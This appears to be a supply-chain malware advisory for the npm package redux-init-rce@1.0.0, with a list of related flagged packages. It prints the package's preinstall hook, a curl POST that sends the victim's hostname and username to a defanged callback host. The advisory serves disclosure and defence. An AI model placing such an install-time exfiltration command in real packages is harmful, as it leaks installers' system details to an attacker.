LWA-2026-4983 confirmed malware
redux-init-rce@1.0.0
Malicious code in redux-init-rce (npm)
T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1082 · System Information DiscoveryT1041 · Exfiltration Over C2 Channel
Analysis
A dependency-confusion package whose preinstall lifecycle hook exfiltrates host reconnaissance on install. The hook runs: curl -X POST -d "info=$(hostname) $(whoami)" hxxp://d22bct11og85ukurvqe0fwmajus9fyr9j[.]oast[.]online, sending the victim's hostname and current username to a remote out-of-band (OAST/Interactsh-style) callback host. index.js is an empty module; the entire payload is the install-time POST. C2/exfil host: d22bct11og85ukurvqe0fwmajus9fyr9j[.]oast[.]online (HTTP POST).
- analyzed by
- Leitwacht
- first seen
- Jun 13, 2026, 04:23 AM
- analyzed
- Jun 13, 2026, 04:27 AM
Related advisories
- redux-probe-unknown-action-rce@1.0.0
- houzidawang806@1.0.1
- @ci-lifecycle-test/postinstall-ping@1.0.0
- redeem-onchain-sdk@1.0.1
- eslint-plugin-mistica-local-rules@19.12.11
- qr-code-styling-temp@9.9.10
- atlassian-forge-skills@29.1.0
- pumpdotfun-sdk-v3.0@3.1.3
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.